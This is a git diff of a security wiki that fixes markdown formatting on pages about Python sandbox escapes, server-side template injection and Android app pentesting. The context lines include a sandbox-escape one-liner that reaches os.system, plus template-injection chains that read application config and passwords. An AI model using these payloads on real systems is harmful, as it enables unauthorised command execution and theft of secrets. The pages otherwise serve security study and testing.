'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations'] ``` -There are a lot, and** we just need one** to execute commands: +There are a lot, and **we just need one** to execute commands: ```python [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls") ``` -We can do the same thing with** other libraries** that we know can be used to** execute commands**: +We can do the same thing with **other libraries** that we know can be used to **execute commands**: ```python #os @@ -331,7 +331,7 @@ pdb: """ ``` -Moreover, if you think **other libraries** may be able to** invoke functions to execute commands**, we can also **filter by functions names** inside the possible libraries: +Moreover, if you think **other libraries** may be able to **invoke functions to execute commands**, we can also **filter by functions names** inside the possible libraries: ```python bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"] @@ -496,7 +496,7 @@ You can check the output of this script in this page: ## Python Format String -If you **send **a **string **to python that is going to be **formatted**, you can use `{}` to access **python internal information. **You can use the previous examples to access globals or builtins for example. +If you **send** a **string** to python that is going to be **formatted**, you can use `{}` to access **python internal information.** You can use the previous examples to access globals or builtins for example. {% hint style="info" %} However, there is a **limitation**, you can only use the symbols `.[]`, so you **won't be able to execute arbitrary code**, just to read information. \ @@ -523,7 +523,7 @@ st = "{people_obj.__init__.__globals__[CONFIG][KEY]}" get_name_for_avatar(st, people_obj = people) ``` -Note how you can **access attributes **in a normal way with a **dot **like `people_obj.__init__` and **dict element **with **parenthesis **without quotes `__globals__[CONFIG]` +Note how you can **access attributes** in a normal way with a **dot** like `people_obj.__init__` and **dict element** with **parenthesis** without quotes `__globals__[CONFIG]` Also note that you can use `.__dict__` to enumerate elements of an object `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)` @@ -730,7 +730,7 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0 ## Compiling Python Now, lets imagine that somehow you can **dump the information about a function that you cannot execute** but you **need** to **execute** it.\ -Like in the following example, you **can access the code object **of that function, but just reading the disassemble you **don't know how to calculate the flag** (_imagine a more complex `calc_flag` function_) +Like in the following example, you **can access the code object** of that function, but just reading the disassemble you **don't know how to calculate the flag** (_imagine a more complex `calc_flag` function_) ```python def get_flag(some_input): @@ -770,7 +770,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode") ### Recreating a leaked function {% hint style="warning" %} -In the following example we are going to take all the data needed to recreate the function from the function code object directly. In a** real example**, all the **values** to execute the function **`code_type`** is what **you will need to leak**. +In the following example we are going to take all the data needed to recreate the function from the function code object directly. In a **real example**, all the **values** to execute the function **`code_type`** is what **you will need to leak**. {% endhint %} ```python @@ -830,7 +830,7 @@ f(42) ## Decompiling Compiled Python -Using tools like [**https://www.decompiler.com/**](https://www.decompiler.com)** **one can **decompile** given compiled python code +Using tools like [**https://www.decompiler.com/**](https://www.decompiler.com) **** one can **decompile** given compiled python code ## References diff --git a/misc/basic-python/magic-methods.md b/misc/basic-python/magic-methods.md index efd43787..23d479b4 100644 --- a/misc/basic-python/magic-methods.md +++ b/misc/basic-python/magic-methods.md @@ -2,11 +2,11 @@ ## Class Methods -You can access the **methods **of a **class **using **\__dict\_\_.** +You can access the **methods** of a **class** using **\_\_dict\_\_.** ![](<../../.gitbook/assets/image (42).png>) -You can access the functions +You can access the functions ![](<../../.gitbook/assets/image (45).png>) @@ -14,23 +14,23 @@ You can access the functions ### **Attributes** -You can access the **attributes of an object** using** \__dict\_\_**. Example: +You can access the **attributes of an object** using **\_\_dict\_\_**. Example: ![](<../../.gitbook/assets/image (41).png>) ### Class -You can access the **class **of an object using **\__class\_\_** +You can access the **class** of an object using **\_\_class\_\_** ![](<../../.gitbook/assets/image (43).png>) -You can access the **methods **of the **class **of an **object chainning **magic functions: +You can access the **methods** of the **class** of an **object chainning** magic functions: ![](<../../.gitbook/assets/image (44).png>) ## Server Side Template Injection -Interesting functions to exploit this vulnerability +Interesting functions to exploit this vulnerability ``` __init__.__globals__ @@ -39,7 +39,7 @@ __class__.__init__.__globals__ Inside the response search for the application (probably at the end?) -Then **access the environment content** of the application where you will hopefully find **some passwords **of interesting information: +Then **access the environment content** of the application where you will hopefully find **some passwords** of interesting information: ``` __init__.__globals__[].config @@ -54,5 +54,5 @@ __class__.__init__.__globals__[].__dict__.config * [https://rushter.com/blog/python-class-internals/](https://rushter.com/blog/python-class-internals/) * [https://docs.python.org/3/reference/datamodel.html](https://docs.python.org/3/reference/datamodel.html) -* [https://balsn.tw/ctf_writeup/20190603-facebookctf/#events](https://balsn.tw/ctf_writeup/20190603-facebookctf/#events) +* [https://balsn.tw/ctf\_writeup/20190603-facebookctf/#events](https://balsn.tw/ctf\_writeup/20190603-facebookctf/#events) * [https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0](https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0) (events) diff --git a/mobile-apps-pentesting/android-app-pentesting/README.md b/mobile-apps-pentesting/android-app-pentesting/README.md index 2630cc53..79aaf77b 100644 --- a/mobile-apps-pentesting/android-app-pentesting/README.md +++ b/mobile-apps-pentesting/android-app-pentesting/README.md @@ -143,11 +143,11 @@ A good way to test this is to try to capture the traffic using some proxy like B ### Broken Cryptography -#### Poor Key Management Processes +#### Poor Key Management Processes Some developers save sensitive data in the local storage and encrypt it with a key hardcoded/predictable in the code. This shouldn't be done as some reversing could allow attackers to extract the confidential information. -#### Use of Insecure and/or Deprecated Algorithms +#### Use of Insecure and/or Deprecated Algorithms Developers shouldn't use **deprecated algorithms** to perform authorisation **checks**, **store** or **send** data. Some of these algorithms are: RC4, MD4, MD5, SHA1... If **hashes** are used to store passwords for example, hashes brute-force **resistant** should be used with salt. @@ -169,7 +169,7 @@ Read the following page to learn how to easily access javascript code of React a ### Xamarin Applications -**Xamarin** apps are written in **C#**, in order to access the C# code **decompressed, **you need to get the files from the **apk**: +**Xamarin** apps are written in **C#**, in order to access the C# code **decompressed,** you need to get the files from the **apk**: ```bash 7z r app.apk #Or any other zip decompression cmd @@ -181,13 +181,13 @@ Then, decompress all the DLsL using [**xamarin-decompress**](https://github.com/ python3 xamarin-decompress.py -o /path/to/decompressed/apk ``` - and finally you can use [**these recommended tools**](../../reversing/reversing-tools-basic-methods/#net-decompiler) to** read C# code** from the DLLs. + and finally you can use [**these recommended tools**](../../reversing/reversing-tools-basic-methods/#net-decompiler) to **read C# code** from the DLLs. ### Automated Static Code Analysis The tool [**mariana-trench**](https://github.com/facebook/mariana-trench) is capable of finding **vulnerabilities** by **scanning** the **code** of the application. This tool contains a series of **known sources** (that indicates to the tool the **places** where the **input** is **controlled by the user**), **sinks** (which indicates to the tool **dangerous** **places** where malicious user input could cause damages) and **rules**. These rules indicates the **combination** of **sources-sinks** that indicates a vulnerability. -With this knowledge,** mariana-trench will review the code and find possible vulnerabilities on it**. +With this knowledge, **mariana-trench will review the code and find possible vulnerabilities on it**. ### Other interesting functions @@ -223,7 +223,7 @@ You can use some **emulator** like: * [**Android Studio**](https://developer.android.com/studio) **(**You can create **x86** and **arm** devices, and according to [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**latest x86** versions **support ARM libraries** without needing an slow arm emulator). * If you want to try to **install** an **image** and then you want to **delete it** you can do that on Windows:`C:\Users\\AppData\Local\Android\sdk\system-images\` or Mac: `/Users/myeongsic/Library/Android/sdk/system-image` * This is the **main emulator I recommend to use and you can**[ **learn to set it up in this page**](avd-android-virtual-device.md). -* [**Genymotion**](https://www.genymotion.com/fun-zone/) **(\_Free version: **Personal Edition**, you need to **create** an **account.\_) +* [**Genymotion**](https://www.genymotion.com/fun-zone/) **(\_Free version:** Personal Edition**, you need to** create **an** account.\_) * [Nox](https://es.bignox.com) (Free, but it doesn't support Frida or Drozer). {% hint style="info" %} @@ -263,12 +263,12 @@ Anyway, it's still recommended to **not log sensitive information**. Android provides **clipboard-based** framework to provide copy-paste function in android applications. But this creates serious issue when some **other application** can **access** the **clipboard** which contain some sensitive data. **Copy/Paste** function should be **disabled** for **sensitive part** of the application. For example, disable copying credit card details. -#### Crash Logs +#### Crash Logs If an application **crashes** during runtime and it **saves logs** somewhere then those logs can be of help to an attacker especially in cases when android application cannot be reverse engineered. Then, avoid creating logs when applications crashes and if logs are sent over the network then ensure that they are sent over an SSL channel.\ As pentester, **try to take a look to these logs**. -#### Analytics Data Sent To 3rd Parties +#### Analytics Data Sent To 3rd Parties Most of the application uses other services in their application like Google Adsense but sometimes they **leak some sensitive data** or the data which is not required to sent to that service. This may happen because of the developer not implementing feature properly. You can **look by intercepting the traffic** of the application and see whether any sensitive data is sent to 3rd parties or not. diff --git a/mobile-apps-pentesting/android-app-pentesting/adb-commands.md b/mobile-apps-pentesting/android-app-pentesting/adb-commands.md index 5e6e1a0b..2965e61f 100644 --- a/mobile-apps-pentesting/android-app-pentesting/adb-commands.md +++ b/mobile-apps-pentesting/android-app-pentesting/adb-commands.md @@ -10,7 +10,7 @@ C:\Users\\AppData\Local\Android\sdk\platform-tools\adb.exe /Users//Library/Android/sdk/platform-tools/adb ``` -**Information obtained from: **[**http://adbshell.com/**](http://adbshell.com)**** +**Information obtained from:** [**http://adbshell.com/**](http://adbshell.com)**** ## Connection @@ -18,7 +18,7 @@ C:\Users\\AppData\Local\Android\sdk\platform-tools\adb.exe adb devices ``` -This will list the connected devices; if "_**unathorised**_" appears, this means that you have to **unblock **your **mobile **and **accept **the connection. +This will list the connected devices; if "_**unathorised**_" appears, this means that you have to **unblock** your **mobile** and **accept** the connection. This indicates to the device that it has to start and adb server in port 5555: @@ -59,7 +59,7 @@ root ### Port Tunneling -In case the **adb** **port** is only **accessible** from **localhost** in the android device but **you have access via SSH**, you can** forward the port 5555** and connect via adb: +In case the **adb** **port** is only **accessible** from **localhost** in the android device but **you have access via SSH**, you can **forward the port 5555** and connect via adb: ```bash ssh -i ssh_key username@10.10.10.10 -L 5555:127.0.0.1:5555 -p 2222 @@ -280,7 +280,7 @@ flashing/restoring Android update.zip packages. ### Logcat -To** filter the messages of only one application**, get the PID of the application and use grep (linux/macos) or findstr (windows) to filter the output of logcat: +To **filter the messages of only one application**, get the PID of the application and use grep (linux/macos) or findstr (windows) to filter the output of logcat: ``` adb logcat | grep 4526 diff --git a/mobile-apps-pentesting/android-app-pentesting/android-applications-basics.md b/mobile-apps-pentesting/android-app-pentesting/android-applications-basics.md index b7003fab..17b5dc47 100644 --- a/mobile-apps-pentesting/android-app-pentesting/android-applications-basics.md +++ b/mobile-apps-pentesting/android-app-pentesting/android-applications-basics.md @@ -18,13 +18,13 @@ ### Sandboxing -The **Android Application Sandbox **allows to run **each application** as a **separate process under a separate user ID**. Each process has its own virtual machine, so an app’s code runs in isolation from other apps.\ +The **Android Application Sandbox** allows to run **each application** as a **separate process under a separate user ID**. Each process has its own virtual machine, so an app’s code runs in isolation from other apps.\ From Android 5.0(L) **SELinux** is enforced. Basically, SELinux denied all process interactions and then created policies to **allow only the expected interactions between them**. ### Permissions -When you installs an **app and it ask for permissions**, the app is asking for the permissions configured in the **`uses-permission`** elements in the **AndroidManifest.xml **file. The **uses-permission** element indicates the name of the requested permission inside the **name** **attribute. **It also has the **maxSdkVersion** attribute which stops asking for permissions on versions higher than the one specified.\ -Note that android applications don't need to ask for all the permissions at the beginning, they can also **ask for permissions dynamically **but all the permissions must be **declared** in the **manifest.** +When you installs an **app and it ask for permissions**, the app is asking for the permissions configured in the **`uses-permission`** elements in the **AndroidManifest.xml** file. The **uses-permission** element indicates the name of the requested permission inside the **name** **attribute.** It also has the **maxSdkVersion** attribute which stops asking for permissions on versions higher than the one specified.\ +Note that android applications don't need to ask for all the permissions at the beginning, they can also **ask for permissions dynamically** but all the permissions must be **declared** in the **manifest.** When an app exposes functionality it can limit the **access to only apps that have a specified permission**.\ A permission element has three attributes: @@ -39,7 +39,7 @@ A permission element has three attributes: ## Pre-Installed Applications -These apps are generally found in the **`/system/app`** or **`/system/priv-app`** directories and some of them are **optimised **(you may not even find the `classes.dex` file). Theses applications are worth checking because some times they are **running with too many permissions** (as root). +These apps are generally found in the **`/system/app`** or **`/system/priv-app`** directories and some of them are **optimised** (you may not even find the `classes.dex` file). Theses applications are worth checking because some times they are **running with too many permissions** (as root). * The ones shipped with the **AOSP** (Android OpenSource Project) **ROM** * Added by the device **manufacturer** @@ -50,7 +50,7 @@ These apps are generally found in the **`/system/app`** or **`/system/priv-app`* In order to obtain root access into a physical android device you generally need to **exploit** 1 or 2 **vulnerabilities** which use to be **specific** for the **device** and **version**.\ Once the exploit has worked, usually the Linux `su` binary is copied into a location specified in the user's PATH env variable like `/system/xbin`. -Once the su binary is configured, another Android app is used to interface with the `su` binary and **process requests for root access **like **Superuser** and **SuperSU **(available in Google Play store). +Once the su binary is configured, another Android app is used to interface with the `su` binary and **process requests for root access** like **Superuser** and **SuperSU** (available in Google Play store). {% hint style="danger" %} Note that the rooting process is very dangerous and can damage severely the device @@ -61,17 +61,17 @@ Note that the rooting process is very dangerous and can damage severely the devi It's possible to **replace the OS installing a custom firmware**. Doing this it's possible to extend the usefulness of an old device, bypass software restrictions or gain access to the latest Android code.\ **OmniROM** and **LineageOS** are two of the most popular firmwares to use. -Note that **not always is necessary to root the device** to install a custom firmware. **Some manufacturers allow **the unlocking of their bootloaders in a well-documented and safe manner. +Note that **not always is necessary to root the device** to install a custom firmware. **Some manufacturers allow** the unlocking of their bootloaders in a well-documented and safe manner. ### Implications Once a device is rooted, any app could request access as root. If a malicious application gets it, it can will have access to almost everything and it will be able to damage the phone. -## Android Application Fundamentals +## Android Application Fundamentals This introduction is taken from [https://maddiestone.github.io/AndroidAppRE/app\_fundamentals.html](https://maddiestone.github.io/AndroidAppRE/app\_fundamentals.html) -### Fundamentals Review +### Fundamentals Review * Android applications are in the _APK file format_. **APK is basically a ZIP file**. (You can rename the file extension to .zip and use unzip to open and see its contents.) * APK Contents (Not exhaustive) @@ -127,9 +127,9 @@ Improper implementation could result in data leakage, restricted functions being An Intent Filter specify the **types of Intent that an activity, service, or Broadcast Receiver can respond to**. It specifies what an activity or service can do and what types of broadcasts a Receiver can handle. It allows the corresponding component to receive Intents of the declared type. Intent Filters are typically **defined via the AndroidManifest.xml file**. For **Broadcast Receiver** it is also possible to define them in **coding**. An Intent Filter is defined by its category, action and data filters. It can also contain additional metadata. -In Android, an activity/service/content provider/broadcast receiver is **public **when **`exported`** is set to **`true`** but a component is **also public** if the **manifest specifies an Intent filter** for it. However,\ +In Android, an activity/service/content provider/broadcast receiver is **public** when **`exported`** is set to **`true`** but a component is **also public** if the **manifest specifies an Intent filter** for it. However,\ developers can **explicitly make components private** (regardless of any intent filters)\ -by setting the** `exported` attribute to `false`** for each component in the manifest file.\ +by setting the ** `exported` attribute to `false`** for each component in the manifest file.\ Developers can also set the **`permission`** attribute to **require a certain permission to access** the component, thereby restricting access to the component. ### Implicit Intents @@ -175,7 +175,7 @@ context.startService(intent); ### Pending Intents -These allow other applications to **take actions on behalf of your application**, using your app's identity and permissions. Constructing a Pending Intent it should be **specified an intent and the action to perform**. If the **declared intent isn't Explicit** (doesn't declare which intent can call it) a** malicious application could perform the declared action** on behalf of the victim app. Moreover,** if an action ins't specified**, the malicious app will be able to do **any action on behalf the victim**. +These allow other applications to **take actions on behalf of your application**, using your app's identity and permissions. Constructing a Pending Intent it should be **specified an intent and the action to perform**. If the **declared intent isn't Explicit** (doesn't declare which intent can call it) a **malicious application could perform the declared action** on behalf of the victim app. Moreover, **if an action ins't specified**, the malicious app will be able to do **any action on behalf the victim**. ### Broadcast Intents @@ -185,7 +185,7 @@ Alternatively it's also possible to **specify a permission when sending the broa There are **two types** of Broadcasts: **Normal** (asynchronous) and **Ordered** (synchronous). The **order** is base on the **configured priority within the receiver** element. **Each app can process, relay or drop the Broadcast.** -It's possible to **send** a **broadcast** using the function **`sendBroadcast(intent, receiverPermission)` **from the `Context` class.\ +It's possible to **send** a **broadcast** using the function **`sendBroadcast(intent, receiverPermission)` ** from the `Context` class.\ You could also use the function **`sendBroadcast`** from the **`LocalBroadCastManager`** ensures the **message never leaves the app**. Using this you won't even need to export a receiver component. ### Sticky Broadcasts @@ -198,7 +198,7 @@ If you find functions containing the word "sticky" like **`sendStickyBroadcast`* ## Deep links / URL schemes -**Deep links allow to trigger an Intent via URL**. An application can declare an **URL schema **inside and activity so every time the Android device try to **access an address using that schema** the applications activity will be called: +**Deep links allow to trigger an Intent via URL**. An application can declare an **URL schema** inside and activity so every time the Android device try to **access an address using that schema** the applications activity will be called: ![](<../../.gitbook/assets/image (214).png>) @@ -252,7 +252,7 @@ These include: **Activities, Services, Broadcast Receivers and Providers.** An **Android activity** is one screen of the **Android** app's user interface. In that way an **Android activity** is very similar to windows in a desktop application. An **Android** app may contain one or more activities, meaning one or more screens. -The **launcher activity** is what most people think of as the **entry point **to an Android application. The launcher activity is the activity that is started when a user clicks on the icon for an application. You can determine the launcher activity by looking at the application’s manifest. The launcher activity will have the following MAIN and LAUNCHER intents listed. +The **launcher activity** is what most people think of as the **entry point** to an Android application. The launcher activity is the activity that is started when a user clicks on the icon for an application. You can determine the launcher activity by looking at the application’s manifest. The launcher activity will have the following MAIN and LAUNCHER intents listed. Keep in mind that not every application will have a launcher activity, especially apps without a UI. Examples of applications without a UI (and thus a launcher activity) are pre-installed applications that perform services in the background, such as voicemail. @@ -325,7 +325,7 @@ Note that **Ordered Broadcasts can drop the Intent received or even modify it** Content Providers are the way **apps share structured data**, such as relational databases. Therefore, it's very important to use **permissions** and set the appropriate protection level to protect them.\ Content Providers can use the **`readPermission`** and **`writePermission`** attributes to specify which permissions an app must have. **These permissions take precedence over the permission attribute**.\ -Moreover, they can also **allow temporary exceptions **by setting the **`grantUriPermission`** to true and then configuring the appropriate parameters in the **`grant-uri-permission`** element within the provider element inside the manifest file. +Moreover, they can also **allow temporary exceptions** by setting the **`grantUriPermission`** to true and then configuring the appropriate parameters in the **`grant-uri-permission`** element within the provider element inside the manifest file. The **`grant-uri-permission`** has three attributes: path, pathPrefix and pathPattern: @@ -349,7 +349,7 @@ It's **important to validate and sanitise the received input** to avoid potentia #### FileProvider -This is a type of Content Provider that will** share files **from a folder. You can declare a file provider like this: +This is a type of Content Provider that will **share files** from a folder. You can declare a file provider like this: ```markup @@ -370,8 +370,8 @@ Note that the configuration `android:resource="@xml/filepaths"` is indicating th ``` -Sharing something like **`path="."`** could be **dangerous **even if the provider isn't exported if there is other vulnerability in some part of the code that tried to access this provider.\ -You could **access **an **image **inside that folder with `content://com.example.myapp.fileprovider/myimages/default_image.jpg` +Sharing something like **`path="."`** could be **dangerous** even if the provider isn't exported if there is other vulnerability in some part of the code that tried to access this provider.\ +You could **access** an **image** inside that folder with `content://com.example.myapp.fileprovider/myimages/default_image.jpg` The `` element can have multiple children, each specifying a different directory to share. In addition to the **``** element, you can use the **``** element to share directories in **external storage**, and the **``** element to share directories in your **internal cache directory**.\ [For more information about specific file providers attributes go here.](https://developer.android.com/reference/androidx/core/content/FileProvider) @@ -401,9 +401,9 @@ If **`true`** is passed to **`setAllowContentAccess`**, **WebViews will be able By default, local files can be accessed by WebViews via file:// URLs, but there are several ways to prevent this behaviour: -* Passing **`false`** to **`setAllowFileAccess`**, prevents the access to the filesystem with the exception of assets via `file:///android_asset`_ and _`file:///android_res`. These paths should be used only for non-sensitive data (like images) so this should be safe. +* Passing **`false`** to **`setAllowFileAccess`**, prevents the access to the filesystem with the exception of assets via `file:///android_asset` _and_ `file:///android_res`. These paths should be used only for non-sensitive data (like images) so this should be safe. * The method **`setAllowFileAccess`** indicates if a path from a `file://` URL should be able to access the content from other file scheme URLs. -* The method **`setAllowUniversalAccessFromFileURLs`** indicates if a path from a `file:// `URL should be able to access content from any origin. +* The method **`setAllowUniversalAccessFromFileURLs`** indicates if a path from a `file://` URL should be able to access content from any origin. ## Other App components @@ -421,6 +421,6 @@ By default, local files can be accessed by WebViews via file:// URLs, but there ## Mobile Device Management -MDM or Mobile Device Management are software suits that are used to **ensure a control and security requirements **over mobile devices. These suites use the features referred as Device Administration API and require an Android app to be installed. +MDM or Mobile Device Management are software suits that are used to **ensure a control and security requirements** over mobile devices. These suites use the features referred as Device Administration API and require an Android app to be installed. Generally the MDM solutions perform functions like enforcing password policies, forcing the encryption of storage and enable remote wiping of device data. diff --git a/mobile-apps-pentesting/android-app-pentesting/android-burp-suite-settings.md b/mobile-apps-pentesting/android-app-pentesting/android-burp-suite-settings.md index e1322616..71320a74 100644 --- a/mobile-apps-pentesting/android-app-pentesting/android-burp-suite-settings.md +++ b/mobile-apps-pentesting/android-app-pentesting/android-burp-suite-settings.md @@ -1,6 +1,6 @@ # Burp Suite Configuration for Android -**This tutorial was taken from: **[**https://medium.com/@ehsahil/basic-android-security-testing-lab-part-1-a2b87e667533**](https://medium.com/@ehsahil/basic-android-security-testing-lab-part-1-a2b87e667533)**** +**This tutorial was taken from:** [**https://medium.com/@ehsahil/basic-android-security-testing-lab-part-1-a2b87e667533**](https://medium.com/@ehsahil/basic-android-security-testing-lab-part-1-a2b87e667533)**** ## Add a proxy in Burp Suite to listen. @@ -24,7 +24,7 @@ Testing connection over http and https using devices browser. 1. http:// (working) tested — [http://ehsahil.com](http://ehsahil.com) -![](https://miro.medium.com/max/700/1\*LJ2uhK2JqKYY_wYkH3jwbw.png) +![](https://miro.medium.com/max/700/1\*LJ2uhK2JqKYY\_wYkH3jwbw.png) 2\. https:// certificate error — https://google.com @@ -42,7 +42,7 @@ Click on **CA certificate download the certificate.** The downloaded certificate is in cacert.der extension and Android 5.\* does not recognise it as certificate file. -You can download the cacert file using your desktop machine and rename it from cacert.der to cacert.crt and drop it on Android device and certificate will be automatically added into **file:///sd_card/downloads.** +You can download the cacert file using your desktop machine and rename it from cacert.der to cacert.crt and drop it on Android device and certificate will be automatically added into **file:///sd\_card/downloads.** **Installing the downloaded certificate.** diff --git a/mobile-apps-pentesting/android-app-pentesting/android-task-hijacking.md b/mobile-apps-pentesting/android-app-pentesting/android-task-hijacking.md index 92fb7876..95747804 100644 --- a/mobile-apps-pentesting/android-app-pentesting/android-task-hijacking.md +++ b/mobile-apps-pentesting/android-app-pentesting/android-task-hijacking.md @@ -36,7 +36,7 @@ Android usually manages several tasks ### Task affinity and Launch Modes **Task affinity** is an attribute that is defined in each `` tag in the `AndroidManifest.xml` file. It describes which Task an Activity prefers to join.\ -By default, every activity has the same affinity as the **package **name. +By default, every activity has the same affinity as the **package** name. We'll be using this when creating our PoC app. @@ -65,7 +65,7 @@ When the launchMode is set to `singleTask`, the Android system evaluates three p The victim needs to have the **malicious** **app** **installed** in his device. Then, he needs to **open** **it** **before** opening the **vulnerable** **application**. Then, when the **vulnerable** application is **opened**, the **malicious** **application** will be **opened** **instead**. If this malicious application presents the **same** **login** as the vulnerable application the **user won't have any means to know that he is putting his credentials in a malicious application**. -**You can find an attack implemented here: **[**https://github.com/az0mb13/Task_Hijacking_Strandhogg**](https://github.com/az0mb13/Task_Hijacking_Strandhogg)**** +**You can find an attack implemented here:** [**https://github.com/az0mb13/Task\_Hijacking\_Strandhogg**](https://github.com/az0mb13/Task\_Hijacking\_Strandhogg)**** ## Preventing task hijacking diff --git a/mobile-apps-pentesting/android-app-pentesting/apk-decompilers.md b/mobile-apps-pentesting/android-app-pentesting/apk-decompilers.md index 4d4ed55d..284ef6b5 100644 --- a/mobile-apps-pentesting/android-app-pentesting/apk-decompilers.md +++ b/mobile-apps-pentesting/android-app-pentesting/apk-decompilers.md @@ -13,9 +13,9 @@ Just **download** the **latest** version and execute it from the _**bin**_ folde jadx-gui ``` -Using the GUI you can perform **text search**, go to the **functions definitions** (_CTRL + left click_ on the function) and cross refs (_right click _-->_ Find Usage_) +Using the GUI you can perform **text search**, go to the **functions definitions** (_CTRL + left click_ on the function) and cross refs (_right click_ --> _Find Usage_) -If you **only want** the **java code **but without using a GUI a very easy way is to use the jadx cli tool: +If you **only want** the **java code** but without using a GUI a very easy way is to use the jadx cli tool: ``` jadx app.apk @@ -40,12 +40,12 @@ GDA is also a powerful and fast reverse analysis platform. Which does not only s ### [Bytecode-Viewer](https://github.com/Konloch/bytecode-viewer/releases) -Another **interesting tool to make a Static analysis is**: [**bytecode-viewer**](https://github.com/Konloch/bytecode-viewer/releases)**.** It allows you to decompile the APK using** several decompilers at the same time**. Then, you can see for example, 2 different Java decompilers and one Smali decompiler. It allows you also to **modify **the code: +Another **interesting tool to make a Static analysis is**: [**bytecode-viewer**](https://github.com/Konloch/bytecode-viewer/releases)**.** It allows you to decompile the APK using **several decompilers at the same time**. Then, you can see for example, 2 different Java decompilers and one Smali decompiler. It allows you also to **modify** the code: ![](<../../.gitbook/assets/image (82).png>) If you modify the code, then you can **export it**.\ -One bad thing of bytecode-viewer is that it **doesn't have references** or** cross-references.** +One bad thing of bytecode-viewer is that it **doesn't have references** or **cross-references.** ### ****[**Enjarify**](https://github.com/Storyyeller/enjarify)**** @@ -54,7 +54,7 @@ Enjarify is a tool for translating Dalvik bytecode to equivalent Java bytecode. ### [CFR](https://github.com/leibnitz27/cfr) -CFR will decompile modern Java features - [including much of Java ](https://www.benf.org/other/cfr/java9observations.html)[9](https://github.com/leibnitz27/cfr/blob/master/java9stringconcat.html), [12](https://www.benf.org/other/cfr/switch_expressions.html) & [14](https://www.benf.org/other/cfr/java14instanceof_pattern), but is written entirely in Java 6, so will work anywhere! ([FAQ](https://www.benf.org/other/cfr/faq.html)) - It'll even make a decent go of turning class files from other JVM languages back into java! +CFR will decompile modern Java features - [including much of Java ](https://www.benf.org/other/cfr/java9observations.html)[9](https://github.com/leibnitz27/cfr/blob/master/java9stringconcat.html), [12](https://www.benf.org/other/cfr/switch\_expressions.html) & [14](https://www.benf.org/other/cfr/java14instanceof\_pattern), but is written entirely in Java 6, so will work anywhere! ([FAQ](https://www.benf.org/other/cfr/faq.html)) - It'll even make a decent go of turning class files from other JVM languages back into java! That JAR file can be used as follows: diff --git a/mobile-apps-pentesting/android-app-pentesting/avd-android-virtual-device.md b/mobile-apps-pentesting/android-app-pentesting/avd-android-virtual-device.md index d93a533b..8b6dfa30 100644 --- a/mobile-apps-pentesting/android-app-pentesting/avd-android-virtual-device.md +++ b/mobile-apps-pentesting/android-app-pentesting/avd-android-virtual-device.md @@ -4,7 +4,7 @@ Thank you very much to [**@offsecjay**](https://twitter.com/offsecjay) for his h ## What is -Android Studio allows to** run virtual machines of Android that you can use to test APKs**. In order to use them you will need: +Android Studio allows to **run virtual machines of Android that you can use to test APKs**. In order to use them you will need: * The **Android SDK tools** - [Download here](https://developer.android.com/studio/releases/sdk-tools). * Or **Android Studio** (with Android SDK tools) - [Download here](https://developer.android.com/studio). @@ -23,25 +23,25 @@ brew install openjdk@8 ### Prepare Virtual Machine -If you installed Android Studio, you can just open the main project view and access: _**Tools **_--> _**AVD Manager.**_ +If you installed Android Studio, you can just open the main project view and access: _**Tools**_ --> _**AVD Manager.**_ ![](<../../.gitbook/assets/image (330).png>) -Then, click on _**Create Virtual Device**_, _**select **the phone you want to use_ and click on _**Next.**_\ +Then, click on _**Create Virtual Device**_, _**select** the phone you want to use_ and click on _**Next.**_\ _****_In the current view you are going to be able to **select and download the Android image** that the phone is going to run: ![](<../../.gitbook/assets/image (331).png>) -So, select it and click on _**Download **_**(**now wait until the image is downloaded).\ -Once the image is downloaded, just select _**Next **_and _**Finish**_. +So, select it and click on _**Download**_** (**now wait until the image is downloaded).\ +Once the image is downloaded, just select _**Next**_ and _**Finish**_. ![](<../../.gitbook/assets/image (332).png>) -The virtual machine will be created. Now** every time that you access AVD manager it will be present**. +The virtual machine will be created. Now **every time that you access AVD manager it will be present**. ### Run Virtual Machine -In order to **run **it just press the _**Start button**_. +In order to **run** it just press the _**Start button**_. ![](<../../.gitbook/assets/image (334).png>) @@ -111,7 +111,7 @@ Once you have decide the name of the device you want to use, you need to **decid C:\Users\\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat --list ``` -And **download **the one (or all) you want to use with: +And **download** the one (or all) you want to use with: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat "platforms;android-28" "system-images;android-28;google_apis;x86_64" @@ -141,8 +141,8 @@ At this moment you have decided the device you want to use and you have download C:\Users\\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat -v create avd -k "system-images;android-28;google_apis;x86_64" -n "AVD9" -d "Nexus 5X" ``` -In the last command **I created a VM named **"_AVD9_" using the **device **"_Nexus 5X_" and the **Android image** "_system-images;android-28;google_apis;x86\_64_".\ -Now you can** list the virtual machines** you have created with: +In the last command **I created a VM named** "_AVD9_" using the **device** "_Nexus 5X_" and the **Android image** "_system-images;android-28;google\_apis;x86\_64_".\ +Now you can **list the virtual machines** you have created with: ```bash 